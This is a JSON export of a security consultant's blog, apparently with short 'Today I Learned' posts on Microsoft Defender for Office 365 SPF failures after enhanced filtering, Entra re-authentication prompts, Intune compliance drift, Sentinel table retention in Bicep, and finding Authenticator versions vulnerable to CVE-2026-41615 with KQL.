[{"content":"","date":"4 June 2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"Enhanced Filtering for Connectors1 (aka skip listing) lets Exchange Online and Defender for Office 365 see the actual sender IP address instead of only the last hop. This is required so that MDO can verify message authentication attributes such as SPF, DMARC, and DKIM. Microsoft recommends it in its guides for third party mail flows2 3 to get the full value out of MDO.\nWithout enhanced filtering, MDO only sees your 3rd party gateway as the sender for incoming e-mails. As a result, you lose important sender metadata, which degrades your experience in Threat Explorer, Advanced Hunting, and the Tenant Allow/Block List.\nThe mail flow in the environment roughly looks like this, with the 3rd party gateway acting as the MX for inbound mail and as the smart host for outbound mail. Exchange Online is connected to an on-premises Exchange server via the hybrid connector:\nflowchart LR Internet([Internet]) Gateway[3rd PartyMail GatewayMX record] EXO[Exchange OnlineDefender for Office 365] OnPrem[On-PremisesExchange Server] %% Inbound flow Internet --\u003e Gateway Gateway -- \"Partner connector+ Enhanced Filtering\" --\u003e EXO EXO -- \"Hybrid connector\" --\u003e OnPrem %% Outbound flow OnPrem -. \"Hybrid connector+ Enhanced Filtering\" .-\u003e EXO EXO -. \"Partner connector\" .-\u003e Gateway Gateway .-\u003e Internet classDef cloud fill:#e6f2ff,stroke:#0078d4,color:#000 classDef onprem fill:#fff4e6,stroke:#d97706,color:#000 classDef gw fill:#f3e8ff,stroke:#7c3aed,color:#000 class EXO cloud class OnPrem onprem class Gateway gw Following the Microsoft recommendation, enhanced filtering was enabled on both the 3rd party connector and the Exchange hybrid connectors.\nEnhanced Filtering for Connectors enabled on the partner connectors in MDO. After a few cloud minutes, the original sender IP addresses showed up in MDO and the X-MS-Exchange-SkipListedInternetSender header was added to inbound e-mails.\nNote Enabling skip listing for only a subset of users can also help to detect issues early, but this requires a representative set of test users; otherwise, issues might go unnoticed.\nGotcha # A few hours later, I noticed a spike of blocked e-mails in quarantine. The cause: external systems were sending e-mails through the 3rd party gateway using internal sender domains that were not in the SPF record.\nThe problematic flow looks like this: external systems (e.g. SaaS apps, marketing tools, partner systems) send e-mails to internal recipients via the 3rd party gateway, using an internal sender domain (noreply@contoso.com). Before skip listing, MDO only saw the gateway IP, which is SPF authorized, so SPF passed. With skip listing enabled, MDO now sees the original sending IP, which is not in the SPF record, so SPF fails:\nflowchart LR ExtSys[External SystemSends as noreply@contoso.comIP not in SPF] Gateway[3rd PartyMail GatewayMX record] EXO[Exchange OnlineDefender for Office 365SPF check fails] Quarantine[Quarantined] ExtSys --\u003e|\"Direct submission\"| Gateway Gateway -- \"Partner connector+ Enhanced Filteringexposes original IP\" --\u003e EXO EXO --\u003e Quarantine classDef cloud fill:#e6f2ff,stroke:#0078d4,color:#000 classDef gw fill:#f3e8ff,stroke:#7c3aed,color:#000 classDef ext fill:#fee2e2,stroke:#dc2626,color:#000 class EXO cloud class Gateway gw class ExtSys ext Impact Analysis # After enabling skip listing, blocked e-mail volume in Defender for Office 365 jumped noticeably:\nDefender for Office 365 blocked e-mail volume increasing right after Enhanced Filtering for Connectors was enabled. To quantify the impact and find the affected senders, the KQL query below joins blocked SPF failures against e-mails that were previously delivered through the 3rd party gateway. The result is a list of senders that started failing SPF only because skip listing exposed their original IP. Replace 154.XX.XX.XX with the public IPv4 address of your gateway:\nlet MailGateways = dynamic(\u0026#34;154.XX.XX.XX\u0026#34;); let Delivered = EmailEvents | where TimeGenerated \u0026gt; ago(30d) | where EmailDirection == \u0026#34;Inbound\u0026#34; | where DeliveryAction == \u0026#34;Delivered\u0026#34; | where SenderIPv4 in (MailGateways) | distinct SenderFromAddress, SenderIPv4, SenderIPv6; EmailEvents | where TimeGenerated \u0026gt; ago(14d) | where DeliveryAction == \u0026#34;Blocked\u0026#34; | extend AuthenticationDetails = parse_json(AuthenticationDetails) | evaluate bag_unpack(AuthenticationDetails) | where SPF == \u0026#34;fail\u0026#34; | join kind=inner Delivered on SenderFromAddress | project-rename PreSkipListingIP = SenderIPv41, SkipListingIP = SenderIPv4 | where PreSkipListingIP != SkipListingIP | summarize BlockedCount = count() by SenderFromAddress, SPF, DMARC, DKIM, PreSkipListingIP, SkipListingIP | where BlockedCount \u0026gt; 10 Mitigation # When checking the affected mail authentication details, the sender IPv4 address was missing from the SPF record, which led to spoofed verdicts. To mitigate this, add the public IPv4 addresses of those systems to the Tenant Allow/Block List:\nAdding a public IPv4 address of a third party sending system to the Tenant Allow/Block List as a spoofed sender entry. Tip Although the docs and UX suggest that you can only add a PTR domain, DKIM domain, or /24 IP subnet, you can add individual IPv4 addresses just fine.\nWhat I learned # Before enabling skip listing, run the KQL query below to find senders using your own domains for inbound mail flow. If any of those sender IPs are not in your SPF record, fix them first to avoid a flood of SPF failures after the change:\n// Identify any senders using your domain inbound, e.g. no intra-org flow, to detect potential issues with skip listing let YourDomains = pack_array(\u0026#34;contoso.com\u0026#34;); EmailEvents | where EmailDirection == \u0026#34;Inbound\u0026#34; | where DeliveryAction == \u0026#34;Delivered\u0026#34; | where SenderFromDomain in (YourDomains) | summarize count() by SenderFromAddress, SenderIPv4 The built-in Spoof detections report is also useful for an ongoing view: Defender XDR \u0026gt; Reports \u0026gt; Email \u0026amp; collaboration reports \u0026gt; Spoof detections.\nSpoof detections MDO report Microsoft Learn - Enhanced Filtering for Connectors in Exchange Online (https://learn.microsoft.com/en-us/exchange/mail-flow-best-practices/use-connectors-to-configure-mail-flow/enhanced-filtering-for-connectors)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn - Manage mail flow using a third-party cloud service with Exchange Online (https://learn.microsoft.com/en-us/exchange/mail-flow-best-practices/manage-mail-flow-using-third-party-cloud)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn - Getting the best security value from Microsoft Defender for Office 365 when you have non-Microsoft email filtering (https://learn.microsoft.com/en-us/defender-office-365/step-by-step-guides/defense-in-depth-guide)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"4 June 2026","externalUrl":null,"permalink":"/til/mdo-enhanced-filtering/","section":"Today I Learned","summary":"Enhanced Filtering for Connectors1 (aka skip listing) lets Exchange Online and Defender for Office 365 see the actual sender IP address instead of only the last hop. This is required so that MDO can verify message authentication attributes such as SPF, DMARC, and DKIM. Microsoft recommends it in its guides for third party mail flows2 3 to get the full value out of MDO.\nWithout enhanced filtering, MDO only sees your 3rd party gateway as the sender for incoming e-mails. As a result, you lose important sender metadata, which degrades your experience in Threat Explorer, Advanced Hunting, and the Tenant Allow/Block List.\nThe mail flow in the environment roughly looks like this, with the 3rd party gateway acting as the MX for inbound mail and as the smart host for outbound mail. Exchange Online is connected to an on-premises Exchange server via the hybrid connector:\nflowchart LR Internet([Internet]) Gateway[3rd PartyMail GatewayMX record] EXO[Exchange OnlineDefender for Office 365] OnPrem[On-PremisesExchange Server] %% Inbound flow Internet --\u003e Gateway Gateway -- \"Partner connector+ Enhanced Filtering\" --\u003e EXO EXO -- \"Hybrid connector\" --\u003e OnPrem %% Outbound flow OnPrem -. \"Hybrid connector+ Enhanced Filtering\" .-\u003e EXO EXO -. \"Partner connector\" .-\u003e Gateway Gateway .-\u003e Internet classDef cloud fill:#e6f2ff,stroke:#0078d4,color:#000 classDef onprem fill:#fff4e6,stroke:#d97706,color:#000 classDef gw fill:#f3e8ff,stroke:#7c3aed,color:#000 class EXO cloud class OnPrem onprem class Gateway gw Following the Microsoft recommendation, enhanced filtering was enabled on both the 3rd party connector and the Exchange hybrid connectors.\n","title":"Enhanced Filtering for Connectors: SPF failures in Defender for Office 365","type":"til"},{"content":"","date":"4 June 2026","externalUrl":null,"permalink":"/tags/exo/","section":"Tags","summary":"","title":"EXO","type":"tags"},{"content":"I\u0026rsquo;m passionate about cyber security: I build cyber defense with Microsoft Security today, for tomorrow\u0026rsquo;s threats. I share my learnings as a security consultant here on the blog through posts and my today I learned series, and occasionally at conferences.\n","date":"4 June 2026","externalUrl":null,"permalink":"/","section":"Hi, I'm Nicola 👋","summary":"I’m passionate about cyber security: I build cyber defense with Microsoft Security today, for tomorrow’s threats. I share my learnings as a security consultant here on the blog through posts and my today I learned series, and occasionally at conferences.\n","title":"Hi, I'm Nicola 👋","type":"page"},{"content":"","date":"4 June 2026","externalUrl":null,"permalink":"/tags/kql/","section":"Tags","summary":"","title":"KQL","type":"tags"},{"content":"","date":"4 June 2026","externalUrl":null,"permalink":"/tags/mdo/","section":"Tags","summary":"","title":"MDO","type":"tags"},{"content":"","date":"4 June 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"A growing collection of bite-sized lessons from my day-to-day work. Quick tips, gotchas, and KQL snippets I want to remember and pass on. 🌱\n","date":"4 June 2026","externalUrl":null,"permalink":"/til/","section":"Today I Learned","summary":"A growing collection of bite-sized lessons from my day-to-day work. Quick tips, gotchas, and KQL snippets I want to remember and pass on. 🌱\n","title":"Today I Learned","type":"til"},{"content":"","date":"4 June 2026","externalUrl":null,"permalink":"/categories/today-i-learned-til/","section":"Categories","summary":"","title":"Today I Learned (TIL)","type":"categories"},{"content":"While troubleshooting unexpected re-authentication prompts in Entra ID, I stumbled over a legacy setting I had almost forgotten existed. The environment was piloting a new set of Conditional Access policies, and some pilot users received daily re-authentication prompts in Microsoft 365 apps, although no Conditional Access policy was forcing this.\nEntra ID Protection was the first suspect, but no risk detections were present for the affected users. The actual reason was hiding in plain sight in the Entra sign-in logs, in the SessionLifetimePolicies field.\nInspecting SessionLifetimePolicies # A quick KQL query against SigninLogs reveals every distinct expirationRequirement reason observed in the tenant:\nDistinct expirationRequirement reasons surfaced from SigninLogs SigninLogs | mv-expand parse_json(SessionLifetimePolicies) | extend ExpirationRequirement = tostring(SessionLifetimePolicies.expirationRequirement) | extend ExpirationDetail = tostring(SessionLifetimePolicies.detail) | distinct ExpirationRequirement, ExpirationDetail The sessionLifetimePolicy resource is also documented as part of the Microsoft Graph API1.\nLegacy MFA settings # The rememberMultifactorAuthenticationOnTrustedDevices value stood out and reminded me of the Azure AD days and the legacy MFA settings. Sure enough, the Remember multi-factor authentication on trusted devices setting was still enabled:\nThe legacy \u0026lsquo;Remember multi-factor authentication on trusted devices\u0026rsquo; setting Tip To quickly find the legacy MFA settings, you can use cmd.ms and search for legacy MFA.\nA quick check on Microsoft Learn confirmed the behavior:\nSetting this value to less than 90 days shortens the default MFA prompts for Office clients, and it increases reauthentication frequency. When you use this setting in combination with Show option to remain signed in or Conditional Access policies, it might increase the number of authentication requests.2\nSo the unexpected prompts were caused by the legacy MFA setting silently overriding the session behavior expected from the new Conditional Access policies.\nFinding affected sign-ins # Use the following query to list every sign-in affected by this specific expiration reason:\nSigninLogs | mv-expand parse_json(SessionLifetimePolicies) | where SessionLifetimePolicies.expirationRequirement == \u0026#34;rememberMultifactorAuthenticationOnTrustedDevices\u0026#34; Takeaway # The SessionLifetimePolicies column in SigninLogs is very helpful for identifying why a user was prompted to re-authenticate. And when assessing existing Conditional Access policies, always check the legacy MFA settings as well.\nP.S.: I don\u0026rsquo;t want to start a debate about re-authentication requirements, but NIST3 provides solid guidance on how to meet the different Authentication Assurance Levels (AAL):\nSummary of NIST Digital Identity Requirements by AAL Microsoft Learn – sessionLifetimePolicy resource type\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn – Reauthentication prompts and session lifetime for Microsoft Entra multifactor authentication\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNIST SP 800-63 Digital Identity Guidelines – Summary of requirements by AAL\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"1 June 2026","externalUrl":null,"permalink":"/til/entra-expiration-requirement/","section":"Today I Learned","summary":"While troubleshooting unexpected re-authentication prompts in Entra ID, I stumbled over a legacy setting I had almost forgotten existed. The environment was piloting a new set of Conditional Access policies, and some pilot users received daily re-authentication prompts in Microsoft 365 apps, although no Conditional Access policy was forcing this.\nEntra ID Protection was the first suspect, but no risk detections were present for the affected users. The actual reason was hiding in plain sight in the Entra sign-in logs, in the SessionLifetimePolicies field.\nInspecting SessionLifetimePolicies # A quick KQL query against SigninLogs reveals every distinct expirationRequirement reason observed in the tenant:\nDistinct expirationRequirement reasons surfaced from SigninLogs SigninLogs | mv-expand parse_json(SessionLifetimePolicies) | extend ExpirationRequirement = tostring(SessionLifetimePolicies.expirationRequirement) | extend ExpirationDetail = tostring(SessionLifetimePolicies.detail) | distinct ExpirationRequirement, ExpirationDetail The sessionLifetimePolicy resource is also documented as part of the Microsoft Graph API1.\nLegacy MFA settings # The rememberMultifactorAuthenticationOnTrustedDevices value stood out and reminded me of the Azure AD days and the legacy MFA settings. Sure enough, the Remember multi-factor authentication on trusted devices setting was still enabled:\n","title":"Chasing Entra re-authentication prompts","type":"til"},{"content":"","date":"1 June 2026","externalUrl":null,"permalink":"/tags/entra/","section":"Tags","summary":"","title":"Entra","type":"tags"},{"content":"Why are my Intune devices no longer compliant? Rolling out new compliance policies, raising minimum OS versions, or adjusting other controls can all cause devices to drift out of compliance. Ultimately, this impacts resource access whenever Conditional Access enforces a compliant device.\nIf you forward the IntuneOperationalLogs to a Log Analytics workspace1, you can query, parse, and alert on non-compliance events with just a few lines of KQL:\nAnonymized example of noncompliant devices IntuneOperationalLogs | where OperationName == \u0026#34;Compliance\u0026#34; | extend Properties = parse_json(Properties) | evaluate bag_unpack(Properties) | where AlertType == @\u0026#34;Managed Device Not Compliant\u0026#34; | extend UserPrincipalName = iif(UserDisplayName != \u0026#34;System account\u0026#34;, strcat(UserName, \u0026#39;@\u0026#39;, UPNSuffix), \u0026#34;System account\u0026#34;) // Extract the reason | extend ReasonRaw = tostring(split(Description, \u0026#39;||\u0026#39;)[0]) // Parse the compliance Policy ID | parse ReasonRaw with ReasonParsed:string \u0026#34;_IID_\u0026#34; PolicyIdRaw:string | extend Reason = coalesce(ReasonParsed, ReasonRaw) | extend PolicyId = coalesce(PolicyIdRaw, \u0026#39;DefaultDeviceCompliancePolicy\u0026#39;) | project-away *Raw | project-reorder TimeGenerated, UserPrincipalName, DeviceHostName, IntuneDeviceId ,Reason, PolicyId Note The Properties column is a serialized JSON string that holds all the non-compliance details. The bag_unpack plugin2 expands every property in the bag into its own column, which keeps the rest of the query much simpler.\nOr summarize the device count over a rolling window to spot trends per reason and policy:\n\u0026hellip; Summarized by Device Count // Prepend the above query | summarize count() by Reason, PolicyId, bin(TimeGenerated, 7d) We can take this one step further with the series_decompose_anomalies()3 KQL function to catch spikes of non-compliant devices early, for example right after a policy change or as part of ongoing operational monitoring. The query below builds a 90-day baseline at a 1 hour resolution and flags any bucket with an anomaly score above 5 from the baseline:\nAnomaly detection for non-compliant devices let Interval = 1h; let LookBack = 90d; let AnomalyThreshold = 5; let RuleWindow = 1h; IntuneOperationalLogs | where TimeGenerated \u0026gt; ago(LookBack) | where OperationName == \u0026#34;Compliance\u0026#34; | extend Properties = parse_json(Properties) | evaluate bag_unpack(Properties) | where AlertType == @\u0026#34;Managed Device Not Compliant\u0026#34; | make-series DeviceCount = dcount(IntuneDeviceId) on TimeGenerated from ago(LookBack) to now() step Interval | extend (AnomalyDetected, AnomalyScore, Baseline) = series_decompose_anomalies(DeviceCount, AnomalyThreshold, -1, \u0026#39;linefit\u0026#39;) | mv-expand DeviceCount to typeof(double), TimeGenerated to typeof(datetime), AnomalyDetected to typeof(bool), AnomalyScore to typeof(double), Baseline to typeof(long) | where AnomalyDetected | where TimeGenerated \u0026gt; ago(2*RuleWindow) Tip Wire the last query up to a scheduled Log Analytics alert and you\u0026rsquo;ll get notified when compliance starts drifting. Note that alert rule limitations4 require slight modifications to the query.\nKudos to Janic for the inspiration and the pointer to the IntuneOperationalLogs table 🤝.\nMicrosoft learn - Send Intune log data to Azure Storage, Event Hubs, or Log Analytics (https://learn.microsoft.com/en-us/intune/governance/integrate-azure-monitor)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft learn - bag_unpack plugin (https://learn.microsoft.com/en-us/kusto/query/bag-unpack-plugin?view=azure-monitor)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft learn - kusto - series_decompose_anomalies() (https://learn.microsoft.com/en-us/kusto/query/series-decompose-anomalies-function)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft learn - Create or edit a log search alert rule (https://learn.microsoft.com/en-us/azure/azure-monitor/alerts/alerts-create-log-alert-rule#configure-alert-rule-conditions)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"26 May 2026","externalUrl":null,"permalink":"/til/intune-device-compliance-drift-kql/","section":"Today I Learned","summary":"Why are my Intune devices no longer compliant? Rolling out new compliance policies, raising minimum OS versions, or adjusting other controls can all cause devices to drift out of compliance. Ultimately, this impacts resource access whenever Conditional Access enforces a compliant device.\nIf you forward the IntuneOperationalLogs to a Log Analytics workspace1, you can query, parse, and alert on non-compliance events with just a few lines of KQL:\nAnonymized example of noncompliant devices IntuneOperationalLogs | where OperationName == \"Compliance\" | extend Properties = parse_json(Properties) | evaluate bag_unpack(Properties) | where AlertType == @\"Managed Device Not Compliant\" | extend UserPrincipalName = iif(UserDisplayName != \"System account\", strcat(UserName, '@', UPNSuffix), \"System account\") // Extract the reason | extend ReasonRaw = tostring(split(Description, '||')[0]) // Parse the compliance Policy ID | parse ReasonRaw with ReasonParsed:string \"_IID_\" PolicyIdRaw:string | extend Reason = coalesce(ReasonParsed, ReasonRaw) | extend PolicyId = coalesce(PolicyIdRaw, 'DefaultDeviceCompliancePolicy') | project-away *Raw | project-reorder TimeGenerated, UserPrincipalName, DeviceHostName, IntuneDeviceId ,Reason, PolicyId Note The Properties column is a serialized JSON string that holds all the non-compliance details. The bag_unpack plugin2 expands every property in the bag into its own column, which keeps the rest of the query much simpler.\n","title":"Detecting Intune device compliance drift with KQL","type":"til"},{"content":"","date":"26 May 2026","externalUrl":null,"permalink":"/tags/intune/","section":"Tags","summary":"","title":"Intune","type":"tags"},{"content":"","date":"24 May 2026","externalUrl":null,"permalink":"/tags/automation/","section":"Tags","summary":"","title":"Automation","type":"tags"},{"content":"Managing Microsoft Sentinel table retention and tiers is typically done through scripts or the portal, but neither approach fits well into an infrastructure-as-code workflow and it can be difficult to maintain tables at scale. While exploring the Log Analytics Bicep resource provider, I came across the Microsoft.OperationalInsights/workspaces/tables resource type1, which makes it possible to manage table tier and retention declaratively with Bicep: version-controlled, reviewable, and reproducible across environments.\nFor each table we typically want to control:\nTable tier: Analytics or Data Lake (Auxiliary) Interactive retention: the hot, queryable period Total retention: the overall retention period of the table Typical Table Configuration Settings Managing the total retention per table is necessary whenever you want to keep logs longer than the 90-day default to satisfy logging or compliance requirements. Since there is no workspace-level default for total retention, it has to be configured table by table, a perfect fit for a declarative approach.\nIdentify tables with recent ingestion # To identify \u0026lsquo;active\u0026rsquo; tables, both a KQL- and API-based approach exist.\nKQL # The following KQL query lists tables that have received data in the last 90 days along with their current tier, which is helpful when deciding what to put under Bicep management:\nlet LookBack = 90d; let LastTableIngest = union withsource= _TableName * | where TimeGenerated \u0026gt; ago(LookBack) | summarize LastIngestionTime = arg_max(ingestion_time(), TimeGenerated) by _TableName | extend LastIngestDayDiff = datetime_diff(\u0026#39;day\u0026#39;, now(), LastIngestionTime) | project _TableName, LastIngestionTime, LastIngestDayDiff; Usage | where TimeGenerated \u0026gt; ago(LookBack) | project-rename _TableName = DataType, TableTier = Plan | where isnotempty(TableTier) | summarize arg_max(TimeGenerated, TableTier) by _TableName | project _TableName, TableTier | join kind=fullouter LastTableIngest on _TableName | extend TableName = coalesce(_TableName, _TableName1) | project TableName, TableTier, LastIngestionTime, LastIngestDayDiff | sort by TableName asc Recent Ingest per Table and Tier Tip For Auxiliary / Data Lake tables the last ingest is not displayed, as union withsource does not mix Analytics and Auxiliary tables.\nPowerShell and ARM API # The Azure Resource Manager (ARM) API provides a complete list of tables, including default tables. With the snippet below you can directly export the configuration in Bicep format, which will facilitate the next step of declaring the desired retention:\n# Snippet to convert Sentinel / Log Analytics table retention settings into a Bicep configuration format $rg = \u0026#39;\u0026lt;your-resource-group-name\u0026gt;\u0026#39; $workspace = \u0026#39;\u0026lt;your-workspace-name\u0026gt;\u0026#39; Connect-AzAccount -Tenant \u0026#39;\u0026lt;your-tenant-id\u0026gt;\u0026#39; $tableRequest = Invoke-AzRestMethod -Uri (\u0026#39;https://management.azure.com/subscriptions/{0}/resourceGroups/{1}/providers/Microsoft.OperationalInsights/workspaces/{2}/tables?api-version=2025-07-01\u0026#39; -f (Get-AzContext).Subscription.Id, $rg, $workspace) if ($tableRequest.StatusCode -ne 200) { throw \u0026#34;Failed to retrieve tables: $($tableRequest.Content)\u0026#34; } $tables = $tableRequest | Select-Object -ExpandProperty Content| ConvertFrom-Json | Select-Object -ExpandProperty value $bicepConfig = $tables | Where-Object { $_.properties.provisioningState -eq \u0026#39;Succeeded\u0026#39; } | Sort-Object {$_.name} | ForEach-Object { Write-Output (\u0026#34;$($_.name): { totalRetentionDays: $($_.properties.totalRetentionInDays) retentionInDays: $($_.properties.retentionInDays) plan: \u0026#39;$($_.properties.plan)\u0026#39; }\u0026#34;) } $bicepConfig | Out-File -FilePath \u0026#39;bicepTableConfig.txt\u0026#39; -Encoding utf8 example output:\nAACAudit: { totalRetentionDays: 90 retentionInDays: 90 plan: \u0026#39;Analytics\u0026#39; } AACHttpRequest: { totalRetentionDays: 90 retentionInDays: 90 plan: \u0026#39;Analytics\u0026#39; } AADAgentRiskEvents: { totalRetentionDays: 90 retentionInDays: 90 plan: \u0026#39;Analytics\u0026#39; } Tip Default tables that have never ingested still appear in the list, therefore the ARM export will emit a lot of noise, so you might want to combine this with the KQL approach.\nDeclaring the Desired Retention # We can now declare the desired tier and retention per table in Bicep. The example below uses a map structure and covers the common scenarios: workspace-default interactive retention, extended total retention, Auxiliary tier, and a few tables kept fully \u0026ldquo;hot\u0026rdquo; for investigations.\nNote For Auxiliary tables the retentionInDays (interactive retention) value is ignored by the resource provider — it always behaves as the minimum interactive retention. Setting it explicitly only matters for Analytics tables.\n// Bicep Configuration Example for Sentinel and Log Analytics Tables @description(\u0026#39;The name of the Log Analytics workspace hosting the tables.\u0026#39;) param workspaceName string = \u0026#39;law-sentinel-chn-prod-01\u0026#39; @description(\u0026#39;Default total retention in days applied to most tables.\u0026#39;) var totalRetentionDays = 180 // Interactive retention for Analytics tables. -1 means inherit the workspace default. @description(\u0026#39;Default interactive retention in days for Analytics tables.\u0026#39;) var retentionInDays = -1 // Per-table retention configuration. Tables used for long-term KPIs and // investigations get an extended retention period. var TableRetentionSettings = { DeviceInfo: { totalRetentionDays: 720 retentionInDays: retentionInDays plan: \u0026#39;Auxiliary\u0026#39; } SigninLogs: { totalRetentionDays: totalRetentionDays retentionInDays: retentionInDays plan: \u0026#39;Analytics\u0026#39; } UbiquitiLogs_CL: { totalRetentionDays: totalRetentionDays retentionInDays: retentionInDays plan: \u0026#39;Analytics\u0026#39; } MicrosoftGraphActivityLogs: { totalRetentionDays: totalRetentionDays retentionInDays: retentionInDays plan: \u0026#39;Auxiliary\u0026#39; } // Special config for interactive \u0026#39;hot\u0026#39; retention SecurityAlert: { totalRetentionDays: 720 retentionInDays: 720 plan: \u0026#39;Analytics\u0026#39; } SecurityIncident: { totalRetentionDays: 720 retentionInDays: 720 plan: \u0026#39;Analytics\u0026#39; } AlertEvidence: { totalRetentionDays: 720 retentionInDays: 720 plan: \u0026#39;Analytics\u0026#39; } } resource workspace \u0026#39;Microsoft.OperationalInsights/workspaces@2025-07-01\u0026#39; existing = { name: workspaceName } // foreach loop to iterate over all map entries resource workspaceName_table \u0026#39;Microsoft.OperationalInsights/workspaces/tables@2025-07-01\u0026#39; = [ for table in items(TableRetentionSettings): { parent: workspace name: table.key properties: { plan: table.value.plan totalRetentionInDays: table.value.totalRetentionDays retentionInDays: table.value.retentionInDays } } ] Now we can deploy the template with the Azure CLI towards our Sentinel Resource Group:\naz deployment group create \\ --resource-group \u0026#39;rg-siem-chn-prod-01\u0026#39; \\ --template-file \u0026#39;TableRetention.bicep\u0026#39; Tip Some Microsoft-managed tables reject plan changes. Long-term retention beyond 90 days is billed for Analytics tables2. Use az deployment group what-if to preview changes before applying. Why this matters # Managing table tier and retention through Bicep keeps the configuration version-controlled, reviewable, and reproducible across environments. A much cleaner process than ad-hoc scripts or portal clicks. In more mature Bicep environments, the retention map can also be declared into a separate parameters file to keep the template itself minimal.\nIt is also worth noting that Microsoft has softened the guidance shown in the Azure portal. Earlier wording strongly steered users toward managing tables in Defender XDR once the data lake was enabled; the current hint is more permissive:\nMicrosoft learn - Microsoft.OperationalInsights/workspaces/tables (https://learn.microsoft.com/en-us/azure/templates/microsoft.operationalinsights/workspaces/tables?pivots=deployment-language-bicep)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft learn - Sentinel Interactive and total data retention costs (https://learn.microsoft.com/en-us/azure/sentinel/billing?tabs=simplified%2Ccommitment-tiers#interactive-and-total-data-retention-costs)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"24 May 2026","externalUrl":null,"permalink":"/sentinel-table-retention-bicep/","section":"Posts","summary":"Managing Microsoft Sentinel table retention and tiers is typically done through scripts or the portal, but neither approach fits well into an infrastructure-as-code workflow and it can be difficult to maintain tables at scale. While exploring the Log Analytics Bicep resource provider, I came across the Microsoft.OperationalInsights/workspaces/tables resource type1, which makes it possible to manage table tier and retention declaratively with Bicep: version-controlled, reviewable, and reproducible across environments.\nFor each table we typically want to control:\nTable tier: Analytics or Data Lake (Auxiliary) Interactive retention: the hot, queryable period Total retention: the overall retention period of the table Typical Table Configuration Settings Managing the total retention per table is necessary whenever you want to keep logs longer than the 90-day default to satisfy logging or compliance requirements. Since there is no workspace-level default for total retention, it has to be configured table by table, a perfect fit for a declarative approach.\nIdentify tables with recent ingestion # To identify ‘active’ tables, both a KQL- and API-based approach exist.\nKQL # The following KQL query lists tables that have received data in the last 90 days along with their current tier, which is helpful when deciding what to put under Bicep management:\n","title":"Manage Microsoft Sentinel Table Tiers and Retention as Code with Bicep","type":"posts"},{"content":"","date":"24 May 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"24 May 2026","externalUrl":null,"permalink":"/tags/sentinel/","section":"Tags","summary":"","title":"Sentinel","type":"tags"},{"content":"","date":"24 May 2026","externalUrl":null,"permalink":"/tags/xdr/","section":"Tags","summary":"","title":"XDR","type":"tags"},{"content":"In response to CVE-2026-416151 (Microsoft Authenticator Information Disclosure Vulnerability), Microsoft started exposing the used Microsoft Authenticator app details as part of the Entra ID Sign-In Logs in the AuthenticationAppDeviceDetails column. The information can be queried via KQL. Vulnerable builds include versions prior to 6.2605.2973 (Android) and 6.8.47 (iOS), which have been patched.\nYou can use the below KQL query to find users with outdated Microsoft Authenticator app versions, which are vulnerable:\n// https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41615 let MinimumVersions = datatable( AuthenticatorOperatingSystem: string, PatchedAuthenticatorVersion: string )[ \u0026#34;Android\u0026#34;, \u0026#34;6.2605.2973\u0026#34;, \u0026#34;Ios\u0026#34;, \u0026#34;6.8.47\u0026#34; ]; SigninLogs | where isnotempty(AuthenticationAppDeviceDetails) | extend AuthenticationAppDetails = parse_json(AuthenticationAppDeviceDetails) | extend AuthenticatorOperatingSystem = tostring(AuthenticationAppDetails.operatingSystem) | extend UsedAuthenticatorVersion = tostring(AuthenticationAppDetails.appVersion) // b2b and guest accounts include: {\u0026#34;deviceId\u0026#34;:\u0026#34;{PII Removed}\u0026#34;} and no authenticator details | where isnotempty(UsedAuthenticatorVersion) | join kind=leftouter MinimumVersions on AuthenticatorOperatingSystem | extend isVulnerable = parse_version(UsedAuthenticatorVersion) \u0026lt; parse_version(PatchedAuthenticatorVersion) | where isVulnerable | distinct UserPrincipalName, AuthenticatorOperatingSystem, UsedAuthenticatorVersion, isVulnerable The AuthenticationAppDeviceDetails (JSON) column itself consists of the following properties:\nappVersion clientApp deviceId operatingSystem The clientApp property is really helpful, as we now also have another option to identify users who use the Authenticator light capabilities, available as part of the Outlook app:\nSigninLogs | where isnotempty(AuthenticationAppDeviceDetails) | extend AuthenticationAppDetails = parse_json(AuthenticationAppDeviceDetails) | extend AuthenticationAppDetailsClientApp = tostring(AuthenticationAppDetails.clientApp) | where AuthenticationAppDetailsClientApp == \u0026#34;Outlook\u0026#34; | distinct UserPrincipalName, AuthenticationAppDetailsClientApp This might be relevant in your environment if you did not disable the Microsoft-managed setting for using the Authenticator light option, which, for example, does not support Conditional Access authentication strengths, passkeys, and app protection policies:\nAdditionally, there\u0026rsquo;s also a new AuthenticationAppPolicyEvaluationDetails column, indicating the authenticator app settings:\nNumber Match App Lock Application Context Location Context CVE-2026-41615 (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41615).\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"20 May 2026","externalUrl":null,"permalink":"/til/authenticationappdevicedetails/","section":"Today I Learned","summary":"In response to CVE-2026-416151 (Microsoft Authenticator Information Disclosure Vulnerability), Microsoft started exposing the used Microsoft Authenticator app details as part of the Entra ID Sign-In Logs in the AuthenticationAppDeviceDetails column. The information can be queried via KQL. Vulnerable builds include versions prior to 6.2605.2973 (Android) and 6.8.47 (iOS), which have been patched.\nYou can use the below KQL query to find users with outdated Microsoft Authenticator app versions, which are vulnerable:\n// https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41615 let MinimumVersions = datatable( AuthenticatorOperatingSystem: string, PatchedAuthenticatorVersion: string )[ \"Android\", \"6.2605.2973\", \"Ios\", \"6.8.47\" ]; SigninLogs | where isnotempty(AuthenticationAppDeviceDetails) | extend AuthenticationAppDetails = 